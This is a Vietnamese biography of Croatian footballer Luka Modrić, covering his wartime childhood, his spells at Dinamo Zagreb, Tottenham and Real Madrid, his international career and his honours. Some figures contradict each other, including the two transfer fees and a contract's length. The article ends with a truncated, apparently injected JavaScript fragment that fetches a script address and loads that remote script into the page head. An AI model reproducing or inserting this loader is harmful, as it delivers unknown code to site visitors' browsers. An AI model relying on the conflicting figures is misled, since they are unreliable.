Tiểu sử Luka Modric, cầu thủ người Croatia, đã vươn lên từ những ngày đầu khó khăn để trở thành ngôi sao bóng đá toàn cầu. Sự nghiệp của anh là minh chứng cho tài năng và sự kiên trì.
Tiểu sử Luka Modric
Luka Modrić (phát âm tiếng Croatia: [lûːka mǒːdritɕ]; sinh ngày 9 tháng 9 năm 1985) là cầu thủ bóng đá chuyên nghiệp người Croatia, hiện đang thi đấu và là đội trưởng của câu lạc bộ La Liga Real Madrid và đội tuyển quốc gia Croatia. Vị trí chính của anh là tiền vệ trung tâm, nhưng anh cũng có thể thi đấu hiệu quả ở các vị trí tiền vệ tấn công và tiền vệ phòng ngự.
Sinh ra tại Zadar, Modrić trải qua thời thơ ấu khó khăn do chiến tranh Croatia, khiến gia đình anh phải di cư. Năm 2002, anh gia nhập Dinamo Zagreb ở tuổi 16 sau khi rời NK Zadar. Anh phát triển tại Zagreb, trước khi được cho mượn đến Zrinjski Mostar và Inter Zaprešić.
Modrić ra mắt Dinamo vào năm 2005, giành ba chức vô địch quốc gia và cúp quốc nội liên tiếp, và được vinh danh là Cầu thủ xuất sắc nhất của Prva HNL vào năm 2007. Năm 2008, anh gia nhập Tottenham Hotspur với phí chuyển nhượng kỷ lục 16,5 triệu bảng, giúp đội lần đầu tiên xuất hiện tại UEFA Champions League sau gần 50 năm và lọt vào tứ kết giải đấu.
Mùa hè năm 2012, Modrić gia nhập Real Madrid với mức phí 30 triệu bảng. Tại đây, anh trở thành cầu thủ chủ chốt, giúp đội hoàn thành giấc mơ La Décima và được chọn vào Đội hình tiêu biểu của UEFA Champions League mùa giải 2013–14. Dưới thời Zinedine Zidane, Modrić góp mặt quan trọng trong đội hình giành ba chức vô địch Champions League liên tiếp từ 2015–16 đến 2017–18.
Modrić có trận ra mắt quốc tế cho Croatia vào tháng 3 năm 2006, ghi bàn thắng quốc tế đầu tiên trong trận giao hữu với Ý. Anh là nhân tố chủ chốt của “Thế hệ vàng thứ hai” của Croatia, tham gia vào mọi giải đấu lớn mà Croatia vượt qua vòng loại, bao gồm UEFA Euro vào các năm 2008, 2012, 2016, 2020 và 2024, cũng như FIFA World Cup 2006, 2014, 2018 và 2022.
Tại Euro 2008, anh được chọn vào Đội hình tiêu biểu của giải. Sau hai kỳ World Cup bị loại ở vòng bảng, Modrić dẫn dắt Croatia đến chung kết FIFA World Cup 2018 và giành giải Quả bóng vàng cho cầu thủ xuất sắc nhất giải đấu.
Thời niên thiếu
Luka Modrić sinh ra trong một gia đình nông dân ở vùng núi Velebit hiểm trở của Croatia, nơi cha anh, Stipe Modrić, sở hữu một đàn dê nhỏ. Vào đầu những năm 90, nhà làm phim Pavle Balenović thực hiện một bộ phim tài liệu cho đài BBC về cuộc sống trong khu vực này.
Trong một đoạn phim, ông đã ghi lại hình ảnh Stipe và cậu bé Luka, lúc đó mới 5 tuổi. Luka mặc áo quá khổ và cầm gậy, theo cha chăn đàn dê giữa vùng núi đầy thử thách, với những con sói lẩn quẩn quanh đó, tạo nên một khung cảnh hoang dã và khó khăn.
Khi chiến tranh Croatia nổ ra, gia đình Modrić bị ảnh hưởng nặng nề. Họ phải di cư và đối mặt với sự ly tán, mất mát, và những năm tháng khó khăn. Những thử thách khắc nghiệt trong thời kỳ chiến tranh đã làm thay đổi cuộc sống của Luka và gia đình anh, đồng thời tôi luyện nên một tinh thần thép và bản lĩnh kiên cường trong Luka Modrić.
Những kinh nghiệm đau thương và sự đối mặt với cái chết đã rèn giũa anh trở thành một người đàn ông mạnh mẽ, quyết tâm vượt qua mọi khó khăn để theo đuổi đam mê bóng đá và xây dựng sự nghiệp thành công trên sân cỏ.
Sự nghiệp thi đấu
Sự nghiệp câu lạc bộ
Dinamo Zagreb
Luka Modrić ký hợp đồng với Dinamo Zagreb ở tuổi 17 vào năm 2002. Sau một mùa giải, anh được cho Zrinjski Mostar, một câu lạc bộ ở Bosnia và Herzegovina, mượn. Tại đây, anh nhanh chóng trở thành cầu thủ xuất sắc nhất năm của Giải vô địch bóng đá quốc gia Bosnia và Herzegovina khi mới 18 tuổi.
Mùa giải tiếp theo, Modrić tiếp tục được cho mượn tại Inter Zaprešić, giúp đội bóng này giành vị trí thứ hai. Anh cũng nhận danh hiệu cầu thủ trẻ triển vọng nhất của bóng đá Croatia vào năm 2004 và 2005, trước khi trở lại Dinamo Zagreb. Tại đây, Modrić góp mặt trong đội hình giành chức vô địch giải quốc gia ba năm liên tiếp.
Năm 2007, anh được vinh danh là Cầu thủ xuất sắc nhất giải vô địch bóng đá Croatia. Sau đó, Modrić ký hợp đồng 10 năm với Dinamo Zagreb, kéo dài đến năm 2015.
Tottenham Hotspur
2008-2012: Thành công ở Anh
Modrić gia nhập Tottenham vào ngày 26 tháng 4 năm 2008 sau khi hoàn tất kiểm tra y tế và được cấp giấy phép lao đng. Anh là bản hợp đồng đầu tiên của Tottenham trong kỳ chuyển nhượng hè 2008 và phí chuyển nhượng là 15,8 triệu bảng Anh.
Modrić ra mắt Tottenham vào ngày 28 tháng 7 năm 2008 trong trận giao hữu trước mùa giải gặp Norwich City, chơi 45 phút trong chiến thắng 5-1 của Tottenham. Trận đấu đầu tiên của anh tại Premier League là trận gặp Middlesbrough vào ngày 16 tháng 8, trong đó Tottenham thua 2-1.
Sau những kết quả tệ hại đầu mùa giải, huấn luyện viên Juande Ramos bị sa thải và thay thế bằng Harry Redknapp. Dưới sự dẫn dắt của Redknapp, Modrić đóng vai trò tiền vệ công, kiến tạo cho các tiền đạo Darren Bent và Roman Pavlyuchenko. Ngày 6 tháng 11 năm 2008, anh ghi dấu ấn trong trận đấu với câu lạc bộ cũ Dinamo Zagreb tại cúp UEFA, với pha chuyền bóng giúp Darren Bent mở tỷ số trong chiến thắng 4-0.
Ngày 18 tháng 12 năm 2008, anh ghi bàn đầu tiên cho Tottenham trong trận hòa 2-2 với Spartak Moskva. Bàn thắng đầu tiên của anh tại Premier League đến vào lưới Newcastle United ba ngày sau đó, dù Tottenham thất bại 1-2. Ngày 26 tháng 4 năm 2009, Modrić ghi bàn nâng tỷ số lên 2-0 trong trận gặp Manchester United, nhưng Tottenham sau đó để thua ngược 2-5.
2009-2010
Mùa giải 2009-10 chứng kiến Tottenham có khởi đầu ấn tượng với chuỗi bốn trận toàn thắng. Tuy nhiên, trong trận thắng 2-1 trước Birmingham City, Modrić bị chấn thương nặng và phải rời sân ở phút 49. Kết quả chụp X-quang cho thấy anh bị gãy xương mác chân phải và phải nghỉ thi đấu ít nhất 6 tuần.
Anh thừa nhận chấn thương này đã ảnh hưởng đến phong độ của mình, cả trong các trận đấu của câu lạc bộ lẫn đội tuyển quốc gia. Ngày 29 tháng 12 năm 2009, Modrić trở lại với bàn thắng mở tỷ số trong chiến thắng 2-0 trước West Ham United, giúp Tottenham giành lại vị trí tốp 4 từ Aston Villa.
Ngày 28 tháng 2 năm 2010, anh ghi bàn vào lưới Everton bằng một cú lốp bóng điệu nghệ, dù Tottenham hòa 2-2 và giữ vị trí thứ 4. Ngày 30 tháng 5 năm 2010, Modrić ký hợp đồng mới có thời hạn 6 năm, giữ anh ở Tottenham đến năm 2016.
2010-2011
Ngày 11 tháng 9 năm 2010, Modrić ghi bàn đầu tiên trong mùa giải 2010-11 trong trận hòa 1-1 với West Brom, dù sau đó phải rời sân do chấn thương mắt cá chân. May mắn thay, chấn thương không nghiêm trọng như dự đoán và anh không phải nghỉ thi đấu lâu.
Ngày 24 tháng 11 năm 2010, anh ghi bàn đầu tiên tại UEFA Champions League với bàn thắng nâng tỷ số lên 2-0 trong chiến thắng 3-0 trước Werder Bremen, giúp Tottenham lọt vào vòng 1/16 và anh được Goal.com bầu là cầu thủ xuất sắc nhất trận đấu. Cuối mùa giải, Modrić được bầu chọn là Cầu thủ xuất sắc nhất mùa bóng của Tottenham Hotspur.
Real Madrid
2012–13
Ngày 27 tháng 8 năm 2012, Real Madrid thông báo đã đạt được thỏa thuận chuyển nhượng Luka Modrić từ Tottenham Hotspur với mức phí 33 triệu bảng và hợp đồng 5 năm. Đây cũng là một bước phát triển mới trong quan hệ giữa hai câu lạc bộ.
Ngày 29 tháng 8 năm 2012, Modrić ra sân lần đầu tiên cho Real Madrid trong trận lượt về Siêu cúp Tây Ban Nha gặp Barcelona. Anh vào sân ở phút 83 thay cho Mesut Özil và suýt ghi bàn. Real Madrid thắng 2-1, và Modrić giành được danh hiệu đầu tiên cùng đội bóng mới.
Ngày 3 tháng 11 năm 2012, Modrić ghi bàn thắng đầu tiên cho Real Madrid trong chiến thắng 4-0 trước Real Zaragoza.
Ngày 5 tháng 3 năm 2013, trong trận đấu với Manchester United tại Old Trafford, Modrić vào sân thay Álvaro Arbeloa và ghi bàn đẹp mắt, giúp Real Madrid cân bằng tỷ số 1-1 trước khi Cristiano Ronaldo ghi bàn thắng quyết định, đưa Real vào tứ kết UEFA Champions League. Ngày 16 tháng 3, anh lại có một pha lập công đẹp mắt trong chiến thắng 5-2 trước Real Mallorca với một cú volley từ ngoài vòng cấm.
Modrić thi đấu trong cả hai lượt trận gặp Borussia Dortmund tại Champions League. Trong trận lượt đi, anh chơi mờ nhạt, nhưng ở lượt về, anh thi đấu xuất sắc hơn và tạo nhiều cơ hội cho đồng đội, giúp Real Madrid tiến vào trận chung kết. Đến tháng 3 năm 2013, phong độ của anh cải thiện rõ rệt, trở thành cầu thủ có số đường chuyền thành công nhiều nhất trong đội. Ngày 8 tháng 5, Modrić ghi bàn và kiến tạo trong chiến thắng 6-2 trước CD Málaga.
2013–14
Dưới sự dẫn dắt của huấn luyện viên Carlo Ancelotti, Modrić trở thành nhân tố quan trọng ở tuyến giữa và đóng vai trò quyết định trong thành công của Real Madrid mùa này. Anh ghi bàn đầu tiên trong mùa giải trong trận đấu với F.C. Copenhagen tại Champions League, bàn thắng thứ năm của anh cho Real, tất cả đều từ ngoài vòng cấm. Ngày 16 tháng 2 năm 2014, Modrić có bàn thắng đầu tiên tại La Liga.
Modrić cùng Real Madrid giành chức vô địch Copa del Rey 2013–14 sau chiến thắng 2-1 trước FC Barcelona. Trong trận bán kết lượt đi UEFA Champions League gặp Bayern Munich, anh thi đấu xuất sắc, giúp Real giành chiến thắng 1-0. Ngày 17 tháng 4, trong trận lượt về, anh kiến tạo cho Sergio Ramos ghi bàn mở tỉ số, giúp Real Madrid thắng 4-0 và tiến vào chung kết.
Ngày 24 tháng 5, trong trận chung kết UEFA Champions League 2013-14 với Atlético Madrid tại Lisbon, Modrić thực hiện quả phạt góc ở phút thứ 93, giúp Sergio Ramos ghi bàn gỡ hòa 1-1, và Real Madrid sau đó giành chiến thắng 4-1 trong hiệp phụ để đăng quang. Modrić được chọn vào đội hình tiêu biểu của UEFA Champions League mùa giải này và là Tiền vệ xuất sắc nhất La Liga mùa 2013-14.
2014–15
Modrić khởi đầu mùa giải mới bằng chức vô địch Siêu cúp châu Âu sau chiến thắng trước Sevilla. Ngày 27 tháng 9 năm 2014, anh ghi bàn thắng thứ 7 cho Real Madrid trong chiến thắng 2-0 trước Villarreal, tất cả các bàn thắng của anh đều từ ngoài vòng cấm. Cuối tháng 11, Modrić bị chấn thương đùi trong khi thi đấu cho đội tuyển Croatia và phải nghỉ thi đấu trong thời gian dài.
Chấn thương đã khiến Modrić phải vắng mặt trong khoảng 5 tháng của mùa giải, ảnh hưởng đến phong độ của Real Madrid và gây ảnh hưởng đến tham vọng vô địch La Liga và Champions League của đội bóng.
2015–16
Mùa giải 2015-16, huấn luyện viên Rafael Benítez tiếp tục trọng dụng Modrić, và ngày 25 tháng 11 năm 2015, anh ghi bàn trong chiến thắng 4-3 trước Shakhtar Donetsk tại vòng bảng UEFA Champions League, giúp Real củng cố vị trí đầu bảng.
2016–17
Modrić kết thúc mùa giải với danh hiệu vô địch UEFA Champions League lần thứ hai liên tiếp và được chọn vào đội hình xuất sắc nhất mùa giải của Champions League do UEFA công bố.
2017–18
Vào tháng 12 năm 2017, Modrić và các đồng đội vô địch FIFA Club World Cup, và anh cá nhân được bầu chọn là cầu thủ xuất sắc nhất giải đấu. Cuối mùa giải, Real Madrid giành UEFA Champions League lần thứ ba liên tiếp sau chiến thắng trước Liverpool, và Modrić cũng lần thứ ba liên tiếp có mặt trong đội hình xuất sắc nhất mùa giải của Champions League.
Sự nghiệp đội tuyển quốc gia
2006–2008: Những giải đấu lớn đầu tiên
Luka Modrić bắt đầu thi đấu cho các đội trẻ của Croatia, từ U-17, U-19 đến U-21, trước khi gia nhập đội tuyển quốc gia vào năm 2006. Trận ra mắt của anh trong màu áo đội tuyển quốc gia diễn ra vào ngày 1 tháng 3 năm 2006 tại Basel, Thụy Sĩ, khi Croatia đối đầu với Argentina. Trong Giải vô địch bóng đá thế giới 2006, dù Croatia không vượt qua vòng bảng, Modrić đã thi đấu hai trận vòng bảng gặp Nhật Bản và Úc, và ghi bàn thắng đầu tiên trong trận thắng Ý 2-0 vào ngày 16 tháng 8 năm 2006 tại Livorno.
Tại Giải vô địch bóng đá châu Âu 2008, Modrić trở thành niềm kỳ vọng lớn của các cổ động viên Croatia. Trong trận đấu mở màn gặp đội chủ nhà Áo ngày 8 tháng 6 năm 2008, anh ghi bàn thắng duy nhất từ chấm phạt đền ngay phút thứ 4 sau khi Ivica Olić bị phạm lỗi trong vòng cấm.
Mặc dù Modrić không ghi bàn trong trận đấu tiếp theo gặp Đức, anh đã góp phần vào chiến thắng và được vinh danh là Cầu thủ xuất sắc nhất trận. Croatia bị loại sau trận thua Thổ Nhĩ Kỳ trong loạt sút luân lưu, trong đó có một pha sút hỏng của Modrić. Dù vậy, anh vẫn được chọn vào đội hình tiêu biểu của giải, trở thành cầu thủ Croatia thứ hai nhận được vinh dự này sau Davor Šuker.
2008–2016: Những thử thách tiếp theo
Trong vòng loại World Cup 2010 khu vực châu Âu, Modrić ghi ba bàn vào lưới Kazakhstan, Andorra và Ukraina, nhưng Croatia không thể giành quyền tham dự World Cup 2010 do đứng thứ ba tại vòng loại sau Anh và Ukraine.
Tháng 6 năm 2012, Modrić tham dự Euro 2012 với Croatia. Đội bóng của anh nằm ở bảng C cùng với Tây Ban Nha, Ý và Cộng hòa Ireland, nhưng không thể vượt qua vòng bảng. Màn trình diễn ấn tượng nhất của anh là trước Tây Ban Nha khi Modrić có một pha đi bóng xuất sắc và kiến tạo cơ hội cho Ivan Rakitić, dù nỗ lực này bị Iker Casillas cản phá.
Croatia bị loại ngay sau vòng bảng và Modrić không có tên trong đội hình tiêu biểu, mặc dù anh được The Daily Telegraph đưa vào danh sách 11 người xuất sắc nhất cho đến bán kết.
Tại World Cup 2014 ở Brazil, Modrić và đội tuyển Croatia thua trận mở màn trước Brazil với tỷ số 1–3 và tiếp tục bị loại ngay vòng bảng sau thất bại 1–3 trước México.
Tại Euro 2016, Modrić ghi bàn thắng duy nhất trong chiến thắng 1-0 trước Thổ Nhĩ Kỳ bằng một cú vô-lê từ khoảng cách 30 mét. Anh được trao giải Cầu thủ xuất sắc nhất trận đấu. Modrić phải bỏ lỡ trận đấu quan trọng với Tây Ban Nha vì chấn thương, và dù Croatia thắng Tây Ban Nha để đứng đầu bảng, họ thua Bồ Đào Nha 0–1 trong hiệp phụ ở vòng 16 đội.
2016–2018: Quả bóng vàng và World Cup 2018
Tại vòng loại World Cup 2018, Modrić trở thành đội trưởng mới của Croatia sau khi Darijo Srna giải nghệ. Mặc dù có một số trận đấu khó khăn, Croatia giành quyền tham dự vòng play-off, nơi Modrić ghi bàn từ chấm phạt đền giúp đội thắng 4–1 trước Hy Lạp và giành quyền dự vòng chung kết World Cup.
Trong World Cup 2018, Modrić thể hiện phong độ xuất sắc, ghi bàn thắng từ chấm phạt đền trong trận mở màn gặp Nigeria, và có một cú sút xa đẹp mắt trong chiến thắng 3-0 trước Argentina.
Anh được FourFourTwo, The Daily Telegraph và ESPN xếp hạng là cầu thủ xuất sắc nhất vòng bảng. Modrić giúp Croatia vượt qua Đan Mạch, Nga và Anh để vào trận chung kết, nơi họ thua Pháp 2-4. Với màn trình diễn ấn tượng, Modrić nhận giải Quả bóng vàng và được vinh danh là cầu thủ xuất sắc nhất giải.
2019–2022: Quả bóng đồng và Euro 2020
Trong vòng loại Euro 2020, Modrić ghi hai bàn và giúp Croatia đủ điều kiện tham dự giải đấu. Euro 2020 bị hoãn một năm do đại dịch COVID-19. Modrić có lần ra sân thứ 134 cho đội tuyển quốc gia vào ngày 24 tháng 3 năm 2021, ngang bằng với Darijo Srna. Sau đó, anh ghi bàn vượt qua kỷ lục của Srna.
Tại Euro 2020, Croatia khởi đầu không suôn sẻ nhưng Modrić ghi bàn trong chiến thắng 3–1 trước Scotland và trở thành cầu thủ ghi bàn lớn tuổi nhất cho Croatia tại giải đấu. Croatia bị loại ở vòng 16 đội sau trận thua 3–5 trước Tây Ban Nha.
Trong vòng loại World Cup 2022, Modrić ghi ba bàn và kiến tạo hai lần. Tại World Cup 2022, anh thi đấu xuất sắc trong trận hòa 0–0 với Maroc, chiến thắng 4–1 trước Canada, và hòa 0–0 với Bỉ để vượt qua vòng bảng. Modrić tiếp tục thể hiện phong độ tốt trong các trận đấu knock-out, đặc biệt là trong loạt sút luân lưu thắng Brazil. Croatia kết thúc giải đấu với huy chương đồng sau khi đánh bại Maroc 2–1, và Modrić nhận giải Quả bóng đồng.
Cuộc sống đời tư
Luka Modrić kết hôn với Vanja Bosnić vào tháng 5 năm 2010 tại Zagreb, Croatia, trong một buổi lễ riêng tư sau bốn năm hẹn hò. Đám cưới diễn ra với sự tham gia của gia đình và bạn bè thân thiết, không có sự hiện diện của truyền thông. Một năm sau, cặp đôi tổ chức một buổi lễ trang trọng tại nhà thờ để kỷ niệm sự kiện này, với sự tham gia của nhiều bạn bè và đồng nghiệp trong giới bóng đá.
Modrić và Vanja có ba người con: Ivano Modrić, chào đời vào ngày 6 tháng 6 năm 2010; Ema Modrić, sinh ngày 25 tháng 4 năm 2013; và Sofia Modrić, ra đời vào ngày 2 tháng 10 năm 2017. Gia đình họ sống ở Madrid, nơi Modrić thi đấu cho Real Madrid, nhưng họ thường xuyên trở về Croatia để thăm gia đình và bạn bè.
Khi không thi đấu, Luka Modrić rất giữ kín cuộc sống riêng tư và thường sống ẩn dật. Anh dành thời gian cho gia đình và những sở thích cá nhân, tránh xa sự chú ý của công chúng và truyền thông. Sự riêng tư này giúp anh duy trì sự cân bằng giữa cuộc sống cá nhân và sự nghiệp bóng đá thành công của mình.
Danh hiệu
Câu lạc bộ
Dinamo Zagreb
Prva HNL: 2005–06, 2006–07, 2007–08
Croatian Cup: 2006–07, 2007–08
Croatian Super Cup: 2006
Real Madrid
La Liga: 2016–17, 2019–20, 2021–22, 2023–24
Copa del Rey: 2013–14, 2022–23
Supercopa de España: 2012, 2017, 2019–20, 2021–22, 2023–24
UEFA Champions League: 2013–14; 2015–16, 2016–17, 2017–18, 2021–22, 2023–24
UEFA Super Cup: 2014, 2016, 2017, 2022, 2024
FIFA Club World Cup: 2014, 2016, 2017, 2018, 2022
Quốc tế
FIFA World Cup: Á quân 2018; Hạng ba 2022
UEFA Nations League: Á quân 2022–23
Cá nhân
Cầu thủ xuất sắc nhất giải vô địch bóng đá quốc gia Bosnia và Herzegovina: 2003
Cầu thủ triển vọng của Croatia: 2004
Cầu thủ xuất sắc nhất năm của Giải vô địch bóng đá quốc gia Croatia: 2007
Giải Áo vàng Sportske novosti: 2007–08
Cầu thủ Croatia xuất sắc nhất năm: 2007, 2008, 2011, 2014
Cầu thủ xuất sắc nhất FIFA Club World Cup 2017
Quả bóng vàng FIFA Club World Cup 2017
Đội hình tiêu biểu của Euro: 2008
Cầu thủ xuất sắc nhất mùa giải của Tottenham Hotspur: 2010–11
Football Oscar – Cầu thủ Croatia xuất sắc nhất năm: 2013, 2014, 2015, 2016
Đội hình tiêu biểu UEFA Champions League: 2013–14, 2015–16, 2016–17, 2017–18
Tiền vệ xuất sắc nhất La Liga: 2013–14
Quả Bóng Vàng World Cup 2018
Cầu thủ xuất sắc nhất năm của UEFA: 2018
Giải thưởng The Best của FIFA năm 2018
Giải thưởng Ballon d’Or của France Football năm 2018
Đội hình UEFA xuất sắc nhất thập kỷ của IFFHS: 2011–2020
FIFA FIFPro World11: 2015, 2016, 2017, 2018, 2019, 2022
Luka Modric không chỉ là một trong những cầu thủ vĩ đại nhất của thế hệ mình, mà còn là hình mẫu về sự kiên trì và đam mê. Với những thành công đã đạt được và ảnh hưởng sâu rộng trong làng bóng đá, tiểu sử của anh là một câu chuyện thành công đầy cảm hứng và là minh chứng cho sức mạnh của sự nỗ lực và tài năng.response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});